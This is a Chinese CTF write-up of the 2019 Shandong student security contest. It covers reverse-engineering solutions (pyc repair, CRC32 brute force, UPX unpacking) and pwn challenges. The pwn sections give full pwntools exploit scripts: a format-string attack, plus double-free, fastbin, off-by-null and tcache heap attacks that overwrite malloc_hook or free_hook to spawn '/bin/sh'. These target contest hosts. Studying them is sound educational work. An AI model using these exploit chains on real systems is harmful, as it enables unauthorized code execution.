第八届山东省大学生网络安全技能大赛--“深思杯” WP

Catalpa 网络安全爱好者

又是一年省赛时,今年菜的离谱,把连冠给终结了,CTF 又打不过,离第一名差 20 分,取证又不会,只能靠做做逆向苟命,还是打不过各位带哥。。。

RE1

题目给出了一个 pyc 文件,直接用 uncompyle6 反编译会报错,提示信息:

1
ImportError: Unknown magic number 6432 in flag.pyc

很明显告诉我们这个 pyc 文件的 magic num 不正确。有关于 pyc 格式的简单分析可以参考我之前写的文章

用 010 打开文件发现头部的 magic num 被替换成了 0x2019,这里直接生成另外一个 pyc 文件,并把文件头的 magic num 抄出来替换进去即可正常反编译。

反编译之后的结果是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# uncompyle6 version 3.3.1
# Python bytecode 2.7 (62171)
# Decompiled from: Python 2.7.12 (default, Aug 22 2019, 16:36:40)
# [GCC 5.4.0 20160609]
# Embedded file name: flag.py
# Compiled at: 2019-10-21 14:01:56
import math
flag = 'flag{**********************}'
Sd = []
SdSd = []
for SdSdSdSd in flag:
Sd.append(ord(SdSdSdSd))

def func(SdSdSd):
SdSdSdSdSd = True
SdSdSdSd = 2
sq = int(math.sqrt(SdSdSd)) + 1
while SdSdSdSd <= sq:
if SdSdSd % SdSdSdSd == 0:
SdSd.append(SdSdSdSd + 1)
SdSdSdSdSd = False
func(SdSdSd / SdSdSdSd)
SdSdSdSd += 1
break
SdSdSdSd += 1

if SdSdSdSdSd:
SdSd.append(SdSdSd + 1)


for SdSdSdSd in Sd:
func(SdSdSdSd)
print SdSd,
SdSd = []
# okay decompiling flag.pyc

逻辑看似复杂,实际上 func 函数我们根本不需要去分析。这个脚本主要的操作是遍历 flag 字符串的每一个字符,分别执行 func(char) 操作,并且输出得到的结果。

由于题目还给出了正确的加密结果,所以直接爆破就好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# uncompyle6 version 3.3.1
# Python bytecode 2.7 (62171)
# Decompiled from: Python 2.7.12 (default, Aug 22 2019, 16:36:40)
# [GCC 5.4.0 20160609]
# Embedded file name: flag.py
# Compiled at: 2019-10-21 14:01:56
import math
flag = 'flag{**********************}'
Sd = []
SdSd = []
for SdSdSdSd in flag:
Sd.append(ord(SdSdSdSd))

def func(SdSdSd):
SdSdSdSdSd = True
SdSdSdSd = 2
sq = int(math.sqrt(SdSdSd)) + 1
while SdSdSdSd <= sq:
if SdSdSd % SdSdSdSd == 0:
SdSd.append(SdSdSdSd + 1)
SdSdSdSdSd = False
func(SdSdSd / SdSdSdSd)
SdSdSdSd += 1
break
SdSdSdSd += 1

if SdSdSdSdSd:
SdSd.append(SdSdSd + 1)

enc = [[102],[3,8,8],[3,3,3,3,4],[4,4,12],[3,4,18],[3,6,6],[3,4,18],[8,8],[3,8,8],[3,4,18],[4,4,12],[4,20],[4,20],[4,20],[3,3,3,3,4],[102],[102],[4,18],[3,3,6,6],[4,18],[4,20],[4,20],[98],[3,6,6],[3,8,8],[3,8,8],[3,3,6,6],[102],[4,18],[3,3,6,6],[3,3,6,6],[3,3,14]]
# for SdSdSdSd in Sd:
# func(SdSdSdSd)
# print SdSd,
# SdSd = []

table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIKLMNOPQRSTUWXYZ1234567890"
for fuck in enc:
#print(fuck)
for i in table:
func(ord(i))
#print(SdSd)
if SdSd == fuck:
print(i, end="")
SdSd = []

# okay decompiling flag.pyc

Flag: flag{eb0cf2f1bfc9990ee3d399a2bbde3dd4}

RE2

今年大家都去 a 杂项、流量分析了,我有幸单刷了两道 RE 题 hh

RE2 是一个 exe 程序,没有加壳,但是程序中有 UPX 段,不过对于分析程序没有影响。

主要代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
signed int __cdecl check(int flag)
{
signed int result; // eax
signed int v2; // ebp
unsigned int v3; // edx
bool v4; // sf
unsigned __int8 v5; // of
char v6; // dl
int v7; // eax
int v8; // eax
bool v9; // zf
int v10; // [esp+10h] [ebp-D8h]
char v11; // [esp+18h] [ebp-D0h]
char v12; // [esp+19h] [ebp-CFh]
char v13; // [esp+1Ah] [ebp-CEh]
char v14; // [esp+1Bh] [ebp-CDh]
char v15; // [esp+1Ch] [ebp-CCh]
char v16; // [esp+1Dh] [ebp-CBh]
char v17; // [esp+1Eh] [ebp-CAh]
char v18; // [esp+1Fh] [ebp-C9h]
char v19; // [esp+20h] [ebp-C8h]
char v20; // [esp+21h] [ebp-C7h]
char v21; // [esp+22h] [ebp-C6h]
char v22; // [esp+23h] [ebp-C5h]
char v23; // [esp+24h] [ebp-C4h]
__int16 v24; // [esp+48h] [ebp-A0h]
char v25; // [esp+4Ch] [ebp-9Ch]
char v26; // [esp+4Dh] [ebp-9Bh]
__int16 v27; // [esp+7Ch] [ebp-6Ch]
char v28; // [esp+80h] [ebp-68h]
char v29; // [esp+81h] [ebp-67h]
char v30; // [esp+82h] [ebp-66h]
char v31; // [esp+83h] [ebp-65h]
char v32; // [esp+B1h] [ebp-37h]
int v33; // [esp+B4h] [ebp-34h]
int v34; // [esp+B8h] [ebp-30h]
char v35; // [esp+E5h] [ebp-3h]

LOBYTE(v33) = 0;
v28 = 0;
memset(&v33 + 1, 0, 0x30u);
v35 = 0;
v25 = 0;
memset(&v29, 0, 0x30u);
v32 = 0;
v11 = '2';
memset(&v26, 0, 0x30u);
HIBYTE(v27) = 0;
v12 = '3';
v13 = '5';
v14 = '6';
v15 = 'D';
v16 = 'E';
v17 = 'S';
v18 = 'T';
v19 = 'Z';
v20 = 'c';
v21 = 'q';
v22 = 'v';
memset(&v23, 0, 0x24u);
v24 = 0;
if ( strlen(flag) != 10 ) // len(flag) = 10
return 0;
v10 = 0;
while ( 1 )
{
v2 = 0;
v3 = 0;
if ( strlen(&v11) == 0 )
break;
do
{
if ( *(v10 + flag) == *(&v11 + v3) )
v2 = 1;
++v3;
}
while ( v3 < strlen(&v11) );
if ( !v2 )
break;
v5 = __OFSUB__(v10 + 1, 10);
v4 = v10++ - 9 < 0;
if ( !(v4 ^ v5) )
{
v6 = (*(flag + 9) + 25) ^ 0x19;
v28 = (*flag - 1) ^ 0x20;
v29 = v6;
v33 = *(flag + 1);
v34 = *(flag + 5);
v30 = 45;
v7 = maybe_crc(&v33, strlen(&v33));
_itoa(v7, &v25, 16);
qmemcpy(&v31, &v25, strlen(&v25));
memset(&v25, 0, 0x30u);
v27 = 0;
v8 = sub_4012C0(&v33, strlen(&v33));
_itoa(v8, &v25, 16);
*(&v25 + strlen(&v25)) = '#';
qmemcpy(&v28 + strlen(&v28), &v25, strlen(&v25));
v9 = strcmp(&v28, aSu5984f05ed827) == 0;
result = 1;
if ( !v9 )
result = 0;
return result;
}
}
return 0;
}

IDA 大概看一下伪代码发现可能用了某种标准加密算法,用 IDA 插件扫描出 CRC32 的特征表。maybe_crc 就是一个标准的 CRC 算法。

大概逻辑是要求我们输入 10 个字节的 flag,flag 中的字符都要在 2356DESTzcqv 字符集中。之后取出中间 8 个字节进行 CRC 运算得到一个结果,第一个和最后一个字节分别进行某种运算得到结果。将这些结果拼接成一个字符串,和硬编码的字符串进行对比。

第一个字节和最后一个字节可以通过调试找出来,因为字符集中每个字符经过运算的结果都是固定的。接下来剩下的问题就是找到中间 8 个字节到底是什么了。

由于是 CRC 运算,算法不可逆,只能爆破。字符集 12 个字节,爆破难度不算太大。编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import zlib

table = "2356DESTZcqv"
total = 0
for a in table:
print("Tried: " + str(total))
for b in table:
for c in table:
for d in table:
for e in table:
for f in table:
for g in table:
for h in table:
temp = a + b + c + d + e + f + g + h
total += 1
if((zlib.crc32(temp) & 0xffffffff) == 0x5984f05e):
print temp
exit(0)

最后跑出结果 cqZS62vD

加上调试确定的字符得到 flag: flag{TcqZS62vD3}

RE3

程序加壳,初步判断是 UPX 的壳子,但是自动脱壳工具没法搞定,所以只能用 OD 来手动 DUMP。

ESP 定律找到 OEP 然后用插件 dump 程序,比赛的时候我的虚拟机右键菜单突然失灵了,导致 LORDPE 没法用管理员权限跑起来,找不到进程,所以没有修复导入表。 本题不去修复导入表也可以大概分析一下。用 IDA 打开 dump 的程序,主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ST10_4
int result; // eax
char v5; // [esp+4h] [ebp-34h]
char v6; // [esp+5h] [ebp-33h]
char v7; // [esp+35h] [ebp-3h]

v5 = 0;
memset(&v6, 0, 0x30u);
v7 = 0;
sub_401000();
puts("\n Hi, SDNISC 2019 ~~~ \n\n");
printf("serialNumber: ", v3);
scanf("%s", &v5);
if ( sub_401150(&v5) == 1 )
puts("\n --> Congratulations ~~~ <--\n");
else
puts("\n --> Try again ~~~ <--\n");
sub_40180D(0);
return result;
}

和 RE2 类似,用 sub_401150 函数验证输入。比较特殊的点是首先打开 data.bin 文件,读取全部内容到内存。

sub_401150 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
signed int __cdecl sub_401150(const char *flag)
{
unsigned int v1; // ebx
int i; // ecx
char *v3; // esi
char *v4; // ecx
char v5; // al
bool v6; // zf
signed int v7; // ecx
char v8; // al
char v9; // al
unsigned int v10; // edx
signed int result; // eax
char v12; // [esp+Ch] [ebp-34h]
char v13; // [esp+Dh] [ebp-33h]
char v14; // [esp+3Dh] [ebp-3h]

v12 = 0;
memset(&v13, 0, 0x30u);
v14 = 0;
v1 = 0;
if ( strlen(flag) != 0 )
{
for ( i = 1 - &v12; ; i = 1 - &v12 )
{
v3 = &v12 + v1;
v4 = &v12 + v1 + i;
v5 = flag[v4 - 1];
v7 = v4 & 0x80000001;
v6 = v7 == 0;
*(&v12 + v1) = v5;
if ( v7 < 0 )
v6 = ((v7 - 1) | 0xFFFFFFFE) == -1;
v8 = v6 ? v5 ^ 0x19 : v5 ^ 0x20;
*v3 = v8;
v9 = sub_4010C0(v8);
*v3 = v9;
byte_40B9C0[v1++] = v9;
if ( v1 >= strlen(flag) )
break;
}
}
v10 = 0;
if ( strlen(flag) == 0 )
goto LABEL_18;
do
{
if ( *(&v12 + v10) != byte_409064[v10] )
break;
++v10;
}
while ( v10 < strlen(flag) );
if ( v10 != 32 )
LABEL_18:
result = 0;
else
result = 1;
return result;
}

看起来比较复杂,大概分析一下逻辑是获取输入的数据,长度是 32 字节。然后奇数位置的字节异或 0x20,偶数位置的字节异或 0x19。

主要运算是 sub_4010C0 函数,但是用 IDA 查看反编译结果是

1
2
3
4
char __cdecl sub_4010C0(char a1)
{
return a1;
}

这显然不正确,转而查看汇编,头部用全局变量 dword_40B9F8 控制程序流转向 ret,猜测是用于欺骗反编译器。

Key_patch 修正第一个基本块的跳转方向,再 F5 得到结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
unsigned __int8 __cdecl sub_4010C0(char a1)
{
signed int *v1; // ecx
unsigned __int8 v2; // bl
int v3; // edx
signed int v4; // eax

v1 = 0;
v2 = a1;
v3 = 0;
do
{
v4 = *v1;
if ( *v1 > 0xC8B5BDC6 )
{
switch ( v4 )
{
case 0xC9D3D4D7:
goto LABEL_11;
case 0xCED6A8B7:
v2 *= 4;
break;
case 0xFAB9AEB0:
++v2;
break;
}
}
else if ( *v1 == 0xC8B5BDC6 )
{
v2 = (v2 + 1) ^ 0x19;
}
else if ( v4 > 0xC5D0CFB3 )
{
if ( v4 == 0xC6C9D1D3 )
v2 *= 2;
}
else
{
switch ( v4 )
{
case 0xC5D0CFB3:
v2 ^= 0x19u;
LABEL_11:
--v2;
break;
case 0xB5D2B4BE:
v2 >>= 1;
break;
case 0xBFC7BBB8:
v2 ^= 0x66u;
break;
}
}
++v1;
--v3;
}
while ( v3 );
return v2;
}

这个函数通过判断 v1 的值对传入的字节做不同操作。但是无法定位 v1 到底是什么,转而用 OD 来看。从内存窗口发现比较的内容是 data.bin,switch case 的条件也是 unicode 编码的数据,翻译过来是社会主义核心价值观中的 8 条。

所以我们可以快速编写一个解析脚本,从 data.bin 中获取到操作的调用顺序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

f = open("./data.bin", "rb")
data = f.read()
f.close()
func_list = []
i = 0
while i < len(data):
temp = u32(data[i] + data[i + 1] + data[i + 2] + data[i + 3])
if temp == 0x0C8B5BDC6:
func_list.append(1)
elif temp == 0x0C5D0CFB3:
func_list.append(2)
elif temp == 0x0B5D2B4BE:
func_list.append(3)
elif temp == 0x0BFC7BBB8:
func_list.append(4)
elif temp == 0x0C6C9D1D3:
func_list.append(5)
elif temp == 0x0C9D3D4D7:
func_list.append(6)
elif temp == 0x0CED6A8B7:
func_list.append(7)
elif temp == 0x0FAB9AEB0:
func_list.append(8)
i += 4

print(func_list)

def func1(char):
return ((char + 1) ^ 0x19) & 0xff

def func2(char):
return ((char ^ 0x19) - 1) & 0xff

def func3(char):
return (char >> 1) & 0xff

def func4(char):
return (char ^ 0x66) & 0xff

def func5(char):
return (char << 1) & 0xff

def func6(char):
return (char - 1) & 0xff

def func7(char):
return (char << 2) & 0xff

def func8(char):
return (char + 1) & 0xff

至此 sub_4010C0 的逻辑解析完毕。

在对 flag 中字符进行对应操作之后,会把结果和 byte_409064 数据比对,如果一致说明输入正确。

由于算法比较复杂,我们的思路还是爆破。遍历 0~255 字符空间,对每一个字符执行一遍 func_list 中的操作,看看和期望结果是否相同。爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *

target = [0x5D,0x2E,0x4C,0x35,0x49,0x30,0x06,0x6E,0x77,0x73,0x64,0x30,0x67,0x72,0x68,0x3C,0x76,0x55,0x5A,0x52,0x58,0x2F,0x7A,0x3A,0x53,0x35,0x5C,0x79,0x2A,0x71,0x09,0x1C]
print(len(target))

f = open("./data.bin", "rb")
data = f.read()
f.close()
func_list = []
i = 0
while i < len(data):
temp = u32(data[i] + data[i + 1] + data[i + 2] + data[i + 3])
if temp == 0x0C8B5BDC6:
func_list.append(1)
elif temp == 0x0C5D0CFB3:
func_list.append(2)
elif temp == 0x0B5D2B4BE:
func_list.append(3)
elif temp == 0x0BFC7BBB8:
func_list.append(4)
elif temp == 0x0C6C9D1D3:
func_list.append(5)
elif temp == 0x0C9D3D4D7:
func_list.append(6)
elif temp == 0x0CED6A8B7:
func_list.append(7)
elif temp == 0x0FAB9AEB0:
func_list.append(8)
i += 4

def func1(char):
return ((char + 1) ^ 0x19) & 0xff

def func2(char):
return ((char ^ 0x19) - 1) & 0xff

def func3(char):
return (char >> 1) & 0xff

def func4(char):
return (char ^ 0x66) & 0xff

def func5(char):
return (char << 1) & 0xff

def func6(char):
return (char - 1) & 0xff

def func7(char):
return (char << 2) & 0xff

def func8(char):
return (char + 1) & 0xff
flag = ""
total = 0
token = 1

for t in target:
for k in range(0, 127):
temp = k
if token % 2 == 0:
char = (k ^ 0x19)
else:
char = (k ^ 0x20)
for i in func_list:
if i == 1:
char = func1(char)
elif i == 2:
char = func2(char)
elif i == 3:
char = func3(char)
elif i == 4:
char = func4(char)
elif i == 5:
char = func5(char)
elif i == 6:
char = func6(char)
elif i == 7:
char = func7(char)
elif i == 8:
char = func8(char)
if char == t:
print"[*]Found char:" + chr(temp)
flag += chr(temp)
total += 1
break
token += 1

print flag
print("total: %d" % total)

最后结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[*]Found char:w
[*]Found char:5
[*]Found char:z
[*]Found char:6
[*]Found char:s
[*]Found char:7
[*]Found char:d
[*]Found char:u
[*]Found char:Q
[*]Found char:t
[*]Found char:R
[*]Found char:7
[*]Found char:A
[*]Found char:y
[*]Found char:F
[*]Found char:S
[*]Found char:T
[*]Found char:V
[*]Found char:h
[*]Found char:Y
[*]Found char:v
[*]Found char:0
[*]Found char:H
[*]Found char:1
[*]Found char:m
[*]Found char:6
[*]Found char:J
[*]Found char:Z
[*]Found char:x
[*]Found char:b
[*]Found char:3
[*]Found char:3
w5z6s7duQtR7AyFSTVhYv0H1m6JZxb33
total: 32

Flag: flag{w5z6s7duQtR7AyFSTVhYv0H1m6JZxb33}

pwn1

简单的格式化字符串,之前需要过一个小验证,我们可以手动逆向(因为很简单),但是也可以选择捷径,比如说 angr。

编写脚本

1
2
3
4
5
6
7
import angr

p = angr.Project("./pwn_MinZhu")
state = p.factory.entry_state()
sm = p.factory.simulation_manager(state)
res = sm.explore(find=0x08048817,avoid=0x0804882B)
print(res.found[0].posix.dumps(0))

得到结果

1
b'xNd9y6\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01'

显然答案是 xNd9y6。

然后模版式的格式化字符串漏洞,API 解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

#p = process("./pwn_MinZhu")
p = remote("172.29.1.38", 9999)
context(log_level="DEBUG")
p.recvuntil("Key:")
p.sendline("xNd9y6")
p.recvuntil("your msg:")
payload1 = fmtstr_payload(4, {0x0804A064:10})
print(len(payload1))
p.sendline(payload1)

payload2 = fmtstr_payload(4, {0x804A034:0x080486B5})
print(len(payload2))
p.sendline(payload2)
p.interactive()

pwn2

一个比较常规的 double free + UAF,要说存在难度那就是限制只能申请 fastbin 的 chunk,泄漏地址稍微麻烦一点,通过 fastbin attack + 部分地址写控制 chunk 的 size 位,伪造 unsortedbin chunk 获取 libc address,然后常规的 fastbin attack 改 malloc_hook 就好。这道题最后一个 one_gadget 可用,省去了 realloc_hook 调整 stack 结构的麻烦。

还要注意一点 index 是从 1 开始的,我一开始以为是从 0 开始,导致很多问题。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *

p = remote("172.29.1.25",9999)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# context(log_level="DEBUG")

def add(size, content):
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Input the length of data:\n")
p.sendline(str(size))
p.recvuntil("Leave your message:\n")
p.send(content)

def delete(index):
p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil("Input the index of sticky note that you want to delete:\n")
p.sendline(str(index))

add(0x20, "a" * 0x20) # 1
add(0x20, p64(0) + p64(0x31) + p64(0) + p64(0x31))
add(0x20, p64(0) + p64(0x31))
add(0x60, "d" * 0x60)
add(0x60, "e" * 0x60)
add(0x20, "f" * 0x20)
delete(1)
delete(2)
delete(1) # 1 -> 2-> 1
add(0x20, "\x50")
add(0x20, "\x50")
add(0x20, "\x50")
add(0x20, p64(0) + p64(0x111))
delete(3)
add(0x30, "\x20")
p.recvuntil("Your choice:")
p.sendline("3")
p.recvuntil("Total:11,Index->11\nSticky note:")
libc_addr = u64(p.recv(6).ljust(8, '\x00')) - 0x3c4c20
log.success("libc: 0x%x" % libc_addr)
malloc_hook = libc_addr + 0x3c4afd
log.success("malloc_hook: 0x%x" % malloc_hook)
one_gadget = libc_addr + 0xf1147
log.success("one_gadget: 0x%x" % one_gadget)

for i in range(6):
add(0x60, "aaaaaaaa")
add(0x60, "eeeeeeee")
add(0x60, "eeeeeeee")
delete(18)
delete(19)
delete(18)
add(0x60, p64(malloc_hook))
add(0x60, p64(malloc_hook))
add(0x60, p64(malloc_hook))
add(0x60, "a" * 3 + p64(one_gadget))
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Input the length of data:\n")
p.sendline("20")
p.interactive()

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
# flag{IaKls58eEqsARDOfNOgkBWKOTvyqYELT}

pwn3

这道题比赛的时候没有做出来,后面学弟给要到了一份 exp,简单看一下发现思路不算复杂,和 heapstorm 有些类似。

题目的漏洞点在于 add chunk 的时候输入数据,在字符串末尾补零导致 off-by-null。但是 size 限制的比较死,只能分配 fastbin 大小的 chunk。

因为 off-by-null 最常用的操作是构造 chunk overlap,但是这里只能申请 fastbin chunk 导致 off-by-null 会覆盖 chunk 的整个 size,没法利用。

其实解决方案很简单,用到一个关于 scanf 函数的特性,如果输入的数据很长,scanf 会自动在 heap 上面分配内存用于缓冲输入数据。而 malloc 在管理 heap 的时候存在一个 malloc_consolidate 过程,当请求的 size 很大(大于 small bin 范围)的时候,先检查 fastbin 中是否还存在 chunk,如果是,就将他们合并在一起并且放入 unsortedbin。

所以只要提前在 fastbin 中放置一些 chunk,然后触发 scanf 函数的 malloc 过程,fastbin 中的 chunk 就会被合并到 unsorted bin,从而完成地址泄漏、overlap 等操作。

首先申请一定数量的 chunk,然后触发 scanf 合并得到一块大的 unsortedbin chunk。

利用 off-by-null 漏洞修改 chunk size,缩小 unsortedbin chunk,得到一块 pre_size 为 0x280 的 chunk。

再利用 scanf 触发 fastbin 合并,从而构造出 fake unsortedbin,其中包括我们能够控制的 chunk。

切割 unsortedbin chunk,使 fd 落在可控 chunk 即可泄漏地址。再切割 unsortedbin chunk 得到用来泄漏地址 chunk 的控制权,此时这个 chunk 会在 chunk_list 中出现两次,使得我们可以做 double free,接下来就是常规的 tcache 利用了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *

context(log_level="DEBUG")
p = process("./pwn")
libc = ELF("./libc-2.27.so")

def add(index, length, content):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Input note len: ")
p.sendline(str(length))
p.recvuntil("Note content: ")
p.send(content)

def delete(index):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(index))

def consolidate():
p.recvuntil("Your choice: ")
p.sendline("1" * 0x600)
p.recvuntil("Index: ")
p.sendline("100")

for i in range(25): # 0 ~ 24
add(i, 0x78, "a" * 0x70)
for i in range(7):
delete(i) # fill tcache

delete(10)
delete(11)
delete(12)
delete(13)
delete(14)
delete(15)

consolidate()

for i in range(7):
add(i, 0x78, "a" * 0x70) # clear tcache

add(25, 0x78, "b" * 0x78) # off by null chunk shrink

add(26, 0x78, "b" * 0x70)
add(27, 0x78, "b" * 0x70)
add(28, 0x78, "b" * 0x70)
add(29, 0x78, "b" * 0x70)
add(30, 0x78, "/bin/sh\x00")

for i in range(7):
delete(i)
delete(16)
delete(26)

consolidate()
for i in range(7):
add(i, 0x78, "A") # clear tcache
add(31, 0x78, "aa")
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline("27")
p.recvuntil("Content: ")
libc_addr = u64(p.recv(6).ljust(8, '\x00')) - 0x3ebca0
log.success("libc_addr: 0x%x" % libc_addr)
free_hook = libc_addr + libc.symbols['__free_hook']
log.success("free_hook: 0x%x" % free_hook)
system = libc_addr + libc.symbols["system"]

add(10, 0x78, "aaaa")
delete(10)
delete(27)
add(10, 0x78, p64(free_hook))
add(11, 0x78, p64(free_hook))
add(12, 0x78, p64(system))

p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline("30")

p.interactive()

AWD pwn

第二天的攻防是 2019 国赛半决赛华东北赛区原题:note………………..

膜一波 le3d1ng 大佬,咱没有复现,也没有 EXP,只能被吊锤 ORZ

附一个爬流量写出来的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *

p = remote("172.29.2.102", 9999)
context(log_level="DEBUG")

def add(length, content):
p.recvuntil("choice> ")
p.sendline("1")
p.recvuntil("length> ")
p.sendline(str(length))
p.recvuntil("content> ")
p.sendline(content)

def delete(index):
p.recvuntil("choice> ")
p.sendline("3")
p.recvuntil("index> ")
p.sendline(str(index))

p.recvuntil("name> ")
p.sendline("")

add(248, "0")
add(248, "1")
add(248, "2")
add(248, "3")
add(248, "4")
add(248, "5")
delete(0)
delete(1)
delete(2)
add(240, "0")
add(136, "0")
add(56, "0")
add(248, "0")
delete(1)
delete(3)
add(136, "1")
p.recvuntil("choice> ")
p.sendline("2")
p.recvuntil("index> ")
p.sendline("2")
libc_addr = u64(p.recv(6).ljust(8, "\x00"))
log.success("libc_addr: 0x%x" % libc_addr)

add(56, "1")
add(56, "1")
add(56, "1")

add(408, "1")
add(112, "1")
add(8, "1")
add(8, "1")
add(8, "1")
add(8, "1")
add(8, "1")
add(8, "1")
add(8, "1")
add(8, "1")
add(8, "1")
#gdb.attach(p)
add(88, "/bin/sh;/bin/sh;/bin/sh || " + p64(libc_addr + 0x1c30))
p.recvuntil("choice> ")
p.sendline("4")
p.recvuntil("remarks> ")
p.sendline(p64(libc_addr - 0x37f7e8))

p.interactive()

看起来和 pwn3 差不多呀,也是 off-by-null + size 控制的比较死,时间太晚了,俺要睡觉保命啦,之后有时间再说吧。

  • Title: 第八届山东省大学生网络安全技能大赛--“深思杯” WP
  • Author: Catalpa
  • Created at : 2019-11-04 00:00:00
  • Updated at : 2024-10-17 08:54:54
  • Link: https://wzt.ac.cn/2019/11/04/sdnisc2019/
  • License: This work is licensed under CC BY-SA 4.0.
On this page
第八届山东省大学生网络安全技能大赛--“深思杯” WP